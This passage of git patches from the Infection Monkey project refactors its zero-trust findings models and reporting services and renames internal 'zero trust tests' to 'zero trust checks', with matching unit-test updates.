(same meaning same status and same - test). - - :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not - when this function should be used. - """ - existing_findings = Finding.objects(test=test, status=status) - assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) - - if len(existing_findings) == 0: - AggregateFinding.create_new_finding(test, status, events) - else: - # Now we know for sure this is the only one - AggregateFinding.add_events(existing_findings[0], events) - - @staticmethod - def create_new_finding(test: str, status: str, events: List[Event]): - details = FindingDetails() - details.events = events - details.save() - Finding.save_finding(test, status, details) - - @staticmethod - def add_events(finding: Finding, events: List[Event]): - finding.details.fetch().add_events(events) - - -def add_malicious_activity_to_timeline(events): - AggregateFinding.create_or_add_to_existing( - test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=zero_trust_consts.STATUS_VERIFY, - events=events - ) diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index b6bbf900d..8895a7fdb 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -4,13 +4,14 @@ Define a Document Schema for Zero Trust findings. """ from typing import List -from mongoengine import Document, EmbeddedDocumentListField, StringField, LazyReferenceField +from mongoengine import Document, StringField, GenericLazyReferenceField import common.common_consts.zero_trust_consts as zero_trust_consts # Dummy import for mongoengine. # noinspection PyUnresolvedReferences from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding_details import FindingDetails +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails +from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutsuiteFindingDetails class Finding(Document): @@ -34,7 +35,7 @@ class Finding(Document): # SCHEMA test = StringField(required=True, choices=zero_trust_consts.TESTS) status = StringField(required=True, choices=zero_trust_consts.ORDERED_TEST_STATUSES) - details = LazyReferenceField(document_type=FindingDetails, required=True) + details = GenericLazyReferenceField(choices=[MonkeyFindingDetails, ScoutsuiteFindingDetails], required=True) # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance meta = {'allow_inheritance': True} diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py new file mode 100644 index 000000000..029136679 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py @@ -0,0 +1,18 @@ +from typing import List + +from mongoengine import DateTimeField, Document, StringField, EmbeddedDocumentListField + +from monkey_island.cc.models.zero_trust.event import Event + +class MonkeyFindingDetails(Document): + """ + This model represents additional information about monkey finding: + Events + """ + + # SCHEMA + events = EmbeddedDocumentListField(document_type=Event, required=False) + + # LOGIC + def add_events(self, events: List[Event]) -> None: + self.update(push_all__events=events) diff --git a/monkey/monkey_island/cc/models/zero_trust/finding_details.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py similarity index 63% rename from monkey/monkey_island/cc/models/zero_trust/finding_details.py rename to monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py index 260442781..ed05f6003 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding_details.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py @@ -1,14 +1,11 @@ -from datetime import datetime from typing import List from mongoengine import DateTimeField, Document, StringField, EmbeddedDocumentListField -import common.common_consts.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutsuiteFinding -class FindingDetails(Document): +class ScoutsuiteFindingDetails(Document): """ This model represents additional information about monkey finding: Events if monkey finding @@ -16,12 +13,7 @@ class FindingDetails(Document): """ # SCHEMA - events = EmbeddedDocumentListField(document_type=Event, required=False) scoutsuite_findings = EmbeddedDocumentListField(document_type=ScoutsuiteFinding, required=False) - # LOGIC - def add_events(self, events: List[Event]) -> None: - self.update(push_all__events=events) - def add_scoutsuite_findings(self, scoutsuite_findings: List[ScoutsuiteFinding]) -> None: self.update(push_all__scoutsuite_findings=scoutsuite_findings) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py index 4b9765f70..5d042312f 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -4,8 +4,7 @@ import mongomock from packaging import version import common.common_consts.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.aggregate_finding import \ - AggregateFinding +from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.testing.IslandTestCase import IslandTestCase @@ -24,12 +23,12 @@ class TestAggregateFinding(IslandTestCase): events = [Event.create_event("t", "t", zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK)] self.assertEqual(len(Finding.objects(test=test, status=status)), 0) - AggregateFinding.create_or_add_to_existing(test, status, events) + MonkeyFindingService.create_or_add_to_existing(test, status, events) self.assertEqual(len(Finding.objects(test=test, status=status)), 1) self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 1) - AggregateFinding.create_or_add_to_existing(test, status, events) + MonkeyFindingService.create_or_add_to_existing(test, status, events) self.assertEqual(len(Finding.objects(test=test, status=status)), 1) self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2) @@ -51,7 +50,7 @@ class TestAggregateFinding(IslandTestCase): self.assertEqual(len(Finding.objects(test=test, status=status)), 1) self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 1) - AggregateFinding.create_or_add_to_existing(test, status, events) + MonkeyFindingService.create_or_add_to_existing(test, status, events) self.assertEqual(len(Finding.objects(test=test, status=status)), 1) self.assertEqual(len(Finding.objects(test=test, status=status)[0].events), 2) @@ -61,4 +60,4 @@ class TestAggregateFinding(IslandTestCase): self.assertEqual(len(Finding.objects(test=test, status=status)), 2) with self.assertRaises(AssertionError): - AggregateFinding.create_or_add_to_existing(test, status, events) + MonkeyFindingService.create_or_add_to_existing(test, status, events) diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py index 5c25d1ff6..f1b95607f 100644 --- a/monkey/monkey_island/cc/resources/reporting/report.py +++ b/monkey/monkey_island/cc/resources/reporting/report.py @@ -5,7 +5,7 @@ from flask import jsonify from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.reporting.report import ReportService -from monkey_island.cc.services.reporting.zero_trust_service import \ +from monkey_island.cc.services.zero_trust.zero_trust_service import \ ZeroTrustService ZERO_TRUST_REPORT_TYPE = "zero_trust" diff --git a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py index 8a1879c9c..0e6c09b11 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py +++ b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py @@ -3,12 +3,11 @@ import json import flask_restful from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.reporting.zero_trust_service import \ - ZeroTrustService +from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService class ZeroTrustFindingEvent(flask_restful.Resource): @jwt_required def get(self, finding_id: str): - return {'events_json': json.dumps(ZeroTrustService.get_events_by_finding(finding_id), default=str)} + return {'events_json': json.dumps(MonkeyFindingService.get_events_by_finding(finding_id), default=str)} diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py b/monkey/monkey_island/cc/services/zero_trust/__init__.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py rename to monkey/monkey_island/cc/services/zero_trust/__init__.py diff --git a/monkey/monkey_island/cc/services/zero_trust/events_service.py b/monkey/monkey_island/cc/services/zero_trust/events_service.py new file mode 100644 index 000000000..5cccee7f3 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/events_service.py @@ -0,0 +1,34 @@ +from typing import List + +from bson import ObjectId + +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails + +# How many events of a single finding to return to UI. +# 50 will return 50 latest and 50 oldest events from a finding +EVENT_FETCH_CNT = 50 + + +class EventsService: + + @staticmethod + def fetch_events_for_display(finding_id: ObjectId): + pipeline = [{'$match': {'_id': finding_id}}, + {'$addFields': {'oldest_events': {'$slice': ['$events', EVENT_FETCH_CNT]}, + 'latest_events': {'$slice': ['$events', -1 * EVENT_FETCH_CNT]}, + 'event_count': {'$size': '$events'}}}, + {'$unset': ['events']}] + details = MonkeyFindingDetails.objects.aggregate(*pipeline).next() + details['latest_events'] = EventsService._get_events_without_overlap(details['event_count'], + details['latest_events']) + return details + + @staticmethod + def _get_events_without_overlap(event_count: int, events: List[object]) -> List[object]: + overlap_count = event_count - EVENT_FETCH_CNT + if overlap_count >= EVENT_FETCH_CNT: + return events + elif overlap_count <= 0: + return [] + else: + return events[-1 * overlap_count:] diff --git a/monkey/monkey_island/cc/services/zero_trust/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/finding_service.py new file mode 100644 index 000000000..2feb02cce --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/finding_service.py @@ -0,0 +1,23 @@ +from typing import List + +from common.common_consts import zero_trust_consts +from monkey_island.cc.models.zero_trust.finding import Finding + + +class FindingService: + + @staticmethod + def get_all_findings() -> List[Finding]: + return list(Finding.objects) + + @staticmethod + def get_enriched_finding(finding): + test_info = zero_trust_consts.TESTS_MAP[finding['test']] + enriched_finding = { + 'finding_id': str(finding['_id']), + 'test': test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding['status']], + 'test_key': finding['test'], + 'pillars': test_info[zero_trust_consts.PILLARS_KEY], + 'status': finding['status'], + } + return enriched_finding diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py new file mode 100644 index 000000000..a1e731b14 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_finding_service.py @@ -0,0 +1,68 @@ +from typing import List + +from bson import ObjectId + +from common.common_consts import zero_trust_consts +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails +from monkey_island.cc.services.zero_trust.finding_service import FindingService + + +class MonkeyFindingService: + + @staticmethod + def create_or_add_to_existing(test, status, events): + """ + Create a new finding or add the events to an existing one if it's the same (same meaning same status and same + test). + + :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not + when this function should be used. + """ + existing_findings = Finding.objects(test=test, status=status) + assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) + + if len(existing_findings) == 0: + MonkeyFindingService.create_new_finding(test, status, events) + else: + # Now we know for sure this is the only one + MonkeyFindingService.add_events(existing_findings[0], events) + + @staticmethod + def create_new_finding(test: str, status: str, events: List[Event]): + details = MonkeyFindingDetails() + details.events = events + details.save() + Finding.save_finding(test, status, details) + + @staticmethod + def add_events(finding: Finding, events: List[Event]): + finding.details.fetch().add_events(events) + + @staticmethod + def get_all_monkey_findings(): + findings = FindingService.get_all_findings() + for i in range(len(findings)): + details = MonkeyFindingService.fetch_events_for_display(findings[i].details.id) + findings[i] = findings[i].to_mongo() + findings[i] = FindingService.get_enriched_finding(findings[i]) + findings[i]['details'] = details + return findings + + @staticmethod + def get_events_by_finding(finding_id: str) -> List[object]: + finding = Finding.objects.get(id=finding_id) + pipeline = [{'$match': {'_id': ObjectId(finding.details.id)}}, + {'$unwind': '$events'}, + {'$project': {'events': '$events'}}, + {'$replaceRoot': {'newRoot': '$events'}}] + return list(MonkeyFindingDetails.objects.aggregate(*pipeline)) + + @staticmethod + def add_malicious_activity_to_timeline(events): + MonkeyFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=zero_trust_consts.STATUS_VERIFY, + events=events + ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_finding_service.py new file mode 100644 index 000000000..12ab2743b --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_finding_service.py @@ -0,0 +1,3 @@ + +class ScoutsuiteFindingService: + pass diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/zero_trust/test_zero_trust_service.py similarity index 99% rename from monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py rename to monkey/monkey_island/cc/services/zero_trust/test_zero_trust_service.py index 874eee293..8b3d33ba2 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_zero_trust_service.py @@ -1,7 +1,7 @@ import common.common_consts.zero_trust_consts as zero_trust_consts -import monkey_island.cc.services.reporting.zero_trust_service +import monkey_island.cc.services.zero_trust.zero_trust_service from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.services.reporting.zero_trust_service import \ +from monkey_island.cc.services.zero_trust.zero_trust_service import \ ZeroTrustService from monkey_island.cc.testing.IslandTestCase import IslandTestCase diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_service.py similarity index 64% rename from monkey/monkey_island/cc/services/reporting/zero_trust_service.py rename to monkey/monkey_island/cc/services/zero_trust/zero_trust_service.py index bd3f12e16..613132a54 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_service.py @@ -5,14 +5,8 @@ from bson.objectid import ObjectId import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding -# How many events of a single finding to return to UI. -# 50 will return 50 latest and 50 oldest events from a finding -from monkey_island.cc.models.zero_trust.finding_details import FindingDetails -EVENT_FETCH_CNT = 50 - - -class ZeroTrustService(object): +class ZeroTrustService: @staticmethod def get_pillars_grades(): pillars_grades = [] @@ -110,54 +104,6 @@ class ZeroTrustService(object): return current_worst_status - @staticmethod - def get_all_monkey_findings(): - findings = list(Finding.objects) - for finding in findings: - details = finding.details.fetch() - finding.details = details - enriched_findings = [ZeroTrustService.__get_enriched_finding(f) for f in findings] - all_finding_details = ZeroTrustService._parse_finding_details_for_ui() - return enriched_findings - - - @staticmethod - def _parse_finding_details_for_ui() -> List[FindingDetails]: - """ - We don't need to return all events to UI, we only display N first and N last events. - This code returns a list of FindingDetails with ONLY the events which are relevant to UI. - """ - pipeline = [{'$addFields': {'oldest_events': {'$slice': ['$events', EVENT_FETCH_CNT]}, - 'latest_events': {'$slice': ['$events', -1 * EVENT_FETCH_CNT]}, - 'event_count': {'$size': '$events'}}}, - {'$unset': ['events']}] - all_details = list(FindingDetails.objects.aggregate(*pipeline)) - for details in all_details: - details['latest_events'] = ZeroTrustService._get_events_without_overlap(details['event_count'], - details['latest_events']) - - @staticmethod - def _get_events_without_overlap(event_count: int, events: List[object]) -> List[object]: - overlap_count = event_count - EVENT_FETCH_CNT - if overlap_count >= EVENT_FETCH_CNT: - return events - elif overlap_count <= 0: - return [] - else: - return events[-1 * overlap_count:] - - @staticmethod - def __get_enriched_finding(finding): - test_info = zero_trust_consts.TESTS_MAP[finding['test']] - enriched_finding = { - 'finding_id': str(finding['_id']), - 'test': test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding['status']], - 'test_key': finding['test'], - 'pillars': test_info[zero_trust_consts.PILLARS_KEY], - 'status': finding['status'], - } - return enriched_finding - @staticmethod def get_statuses_to_pillars(): results = { @@ -187,11 +133,3 @@ class ZeroTrustService(object): if grade[status] > 0: return status return zero_trust_consts.STATUS_UNEXECUTED - - @staticmethod - def get_events_by_finding(finding_id: str) -> List[object]: - pipeline = [{'$match': {'_id': ObjectId(finding_id)}}, - {'$unwind': '$events'}, - {'$project': {'events': '$events'}}, - {'$replaceRoot': {'newRoot': '$events'}}] - return list(Finding.objects.aggregate(*pipeline)) From 4e1e9907b198f18a0eb92bb3154253877d8c2918 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 8 Sep 2020 12:41:59 +0300 Subject: [PATCH 015/466] Renamed all zero trust tests to zero trust checks in back-end. This increases readability, because it differentiates unit test code from production code --- .../cc/services/telemetry/processing/exploit.py | 6 +++--- .../cc/services/telemetry/processing/post_breach.py | 6 +++--- .../cc/services/telemetry/processing/scan.py | 12 ++++++------ .../cc/services/telemetry/processing/state.py | 6 +++--- .../system_info_telemetry_dispatcher.py | 6 +++--- .../cc/services/telemetry/processing/tunnel.py | 6 +++--- .../services/telemetry/zero_trust_checks/__init__.py | 0 .../antivirus_existence.py | 9 ++++----- .../communicate_as_new_user.py | 7 +++---- .../data_endpoints.py | 11 +++++------ .../known_anti_viruses.py | 0 .../machine_exploited.py | 9 ++++----- .../segmentation.py | 4 ++-- .../test_segmentation.py} | 4 ++-- .../tunneling.py | 9 ++++----- 15 files changed, 45 insertions(+), 50 deletions(-) create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_checks/__init__.py rename monkey/monkey_island/cc/services/telemetry/{zero_trust_tests => zero_trust_checks}/antivirus_existence.py (85%) rename monkey/monkey_island/cc/services/telemetry/{zero_trust_tests => zero_trust_checks}/communicate_as_new_user.py (87%) rename monkey/monkey_island/cc/services/telemetry/{zero_trust_tests => zero_trust_checks}/data_endpoints.py (89%) rename monkey/monkey_island/cc/services/telemetry/{zero_trust_tests => zero_trust_checks}/known_anti_viruses.py (100%) rename monkey/monkey_island/cc/services/telemetry/{zero_trust_tests => zero_trust_checks}/machine_exploited.py (78%) rename monkey/monkey_island/cc/services/telemetry/{zero_trust_tests => zero_trust_checks}/segmentation.py (97%) rename monkey/monkey_island/cc/services/telemetry/{zero_trust_tests/test_segmentation_zt_tests.py => zero_trust_checks/test_segmentation.py} (94%) rename monkey/monkey_island/cc/services/telemetry/{zero_trust_tests => zero_trust_checks}/tunneling.py (78%) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 69c1e20f6..e88c37dfa 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -9,8 +9,8 @@ from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import \ get_edge_by_scan_or_exploit_telemetry -from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited import \ - test_machine_exploited +from monkey_island.cc.services.telemetry.zero_trust_checks.machine_exploited import \ + check_machine_exploited def process_exploit_telemetry(telemetry_json): @@ -19,7 +19,7 @@ def process_exploit_telemetry(telemetry_json): update_network_with_exploit(edge, telemetry_json) update_node_credentials_from_successful_attempts(edge, telemetry_json) - test_machine_exploited( + check_machine_exploited( current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']), exploit_successful=telemetry_json['data']['result'], exploiter=telemetry_json['data']['exploiter'], diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index 28909f40b..dd79fd7c9 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -3,8 +3,8 @@ import copy from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import \ - test_new_user_communication +from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_new_user import \ + check_new_user_communication EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" @@ -13,7 +13,7 @@ def process_communicate_as_new_user_telemetry(telemetry_json): current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) message = telemetry_json['data']['result'][0] success = telemetry_json['data']['result'][1] - test_new_user_communication(current_monkey, success, message) + check_new_user_communication(current_monkey, success, message) POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index 43446126c..2453223fe 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -4,19 +4,19 @@ from monkey_island.cc.services.edge.edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import \ get_edge_by_scan_or_exploit_telemetry -from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import \ - test_open_data_endpoints -from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ - test_segmentation_violation +from monkey_island.cc.services.telemetry.zero_trust_checks.data_endpoints import \ + check_open_data_endpoints +from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import \ + check_segmentation_violation def process_scan_telemetry(telemetry_json): update_edges_and_nodes_based_on_scan_telemetry(telemetry_json) - test_open_data_endpoints(telemetry_json) + check_open_data_endpoints(telemetry_json) current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) target_ip = telemetry_json['data']['machine']['ip_addr'] - test_segmentation_violation(current_monkey, target_ip) + check_segmentation_violation(current_monkey, target_ip) def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py index 3ac555f3e..4f596fb88 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/state.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -2,8 +2,8 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ - test_passed_findings_for_unreached_segments +from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import \ + check_passed_findings_for_unreached_segments logger = logging.getLogger(__name__) @@ -18,7 +18,7 @@ def process_state_telemetry(telemetry_json): if telemetry_json['data']['done']: current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - test_passed_findings_for_unreached_segments(current_monkey) + check_passed_findings_for_unreached_segments(current_monkey) if telemetry_json['data']['version']: logger.info(f"monkey {telemetry_json['monkey_guid']} has version {telemetry_json['data']['version']}") diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index 5f1b6e641..d718df12a 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -14,8 +14,8 @@ from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostn process_hostname_telemetry from monkey_island.cc.services.telemetry.processing.system_info_collectors.scoutsuite import \ process_scout_suite_telemetry -from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import \ - test_antivirus_existence +from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import \ + check_antivirus_existence logger = logging.getLogger(__name__) @@ -23,7 +23,7 @@ SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = { AWS_COLLECTOR: [process_aws_telemetry], ENVIRONMENT_COLLECTOR: [process_environment_telemetry], HOSTNAME_COLLECTOR: [process_hostname_telemetry], - PROCESS_LIST_COLLECTOR: [test_antivirus_existence], + PROCESS_LIST_COLLECTOR: [check_antivirus_existence], SCOUTSUITE_COLLECTOR: [process_scout_suite_telemetry] } diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py index ef5ea0ff9..0800e0168 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py @@ -1,12 +1,12 @@ from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import \ get_tunnel_host_ip_from_proxy_field -from monkey_island.cc.services.telemetry.zero_trust_tests.tunneling import \ - test_tunneling_violation +from monkey_island.cc.services.telemetry.zero_trust_checks.tunneling import \ + check_tunneling_violation def process_tunnel_telemetry(telemetry_json): - test_tunneling_violation(telemetry_json) + check_tunneling_violation(telemetry_json) monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] if telemetry_json['data']['proxy'] is not None: tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/__init__.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py similarity index 85% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py index f16ae7295..3ed2133f0 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py @@ -2,14 +2,13 @@ import json import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.aggregate_finding import \ - AggregateFinding from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.services.telemetry.zero_trust_tests.known_anti_viruses import \ +from monkey_island.cc.services.telemetry.zero_trust_checks.known_anti_viruses import \ ANTI_VIRUS_KNOWN_PROCESS_NAMES +from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService -def test_antivirus_existence(process_list_json, monkey_guid): +def check_antivirus_existence(process_list_json, monkey_guid): current_monkey = Monkey.get_single_monkey_by_guid(monkey_guid) process_list_event = Event.create_event( @@ -32,7 +31,7 @@ def test_antivirus_existence(process_list_json, monkey_guid): test_status = zero_trust_consts.STATUS_PASSED else: test_status = zero_trust_consts.STATUS_FAILED - AggregateFinding.create_or_add_to_existing( + MonkeyFindingService.create_or_add_to_existing( test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py similarity index 87% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py index c6d8a9570..109efbca0 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py @@ -1,6 +1,5 @@ import common.common_consts.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.aggregate_finding import \ - AggregateFinding +from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService from monkey_island.cc.models.zero_trust.event import Event COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}" @@ -8,8 +7,8 @@ COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}" -def test_new_user_communication(current_monkey, success, message): - AggregateFinding.create_or_add_to_existing( +def check_new_user_communication(current_monkey, success, message): + MonkeyFindingService.create_or_add_to_existing( test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, # If the monkey succeeded to create a user, then the test failed. status=zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED, diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py similarity index 89% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py index 024a91522..d4da2d8dd 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py @@ -3,14 +3,13 @@ import json import common.common_consts.zero_trust_consts as zero_trust_consts from common.common_consts.network_consts import ES_SERVICE from monkey_island.cc.models import Monkey -from monkey_island.cc.models.zero_trust.aggregate_finding import ( - AggregateFinding, add_malicious_activity_to_timeline) from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.services.zero_trust.monkey_finding_service import MonkeyFindingService HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] -def test_open_data_endpoints(telemetry_json): +def check_open_data_endpoints(telemetry_json): services = telemetry_json["data"]["machine"]["services"] current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) found_http_server_status = zero_trust_consts.STATUS_PASSED @@ -56,16 +55,16 @@ def test_open_data_endpoints(telemetry_json): event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK )) - AggregateFinding.create_or_add_to_existing( + MonkeyFindingService.create_or_add_to_existing( test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, status=found_http_server_status, events=events ) - 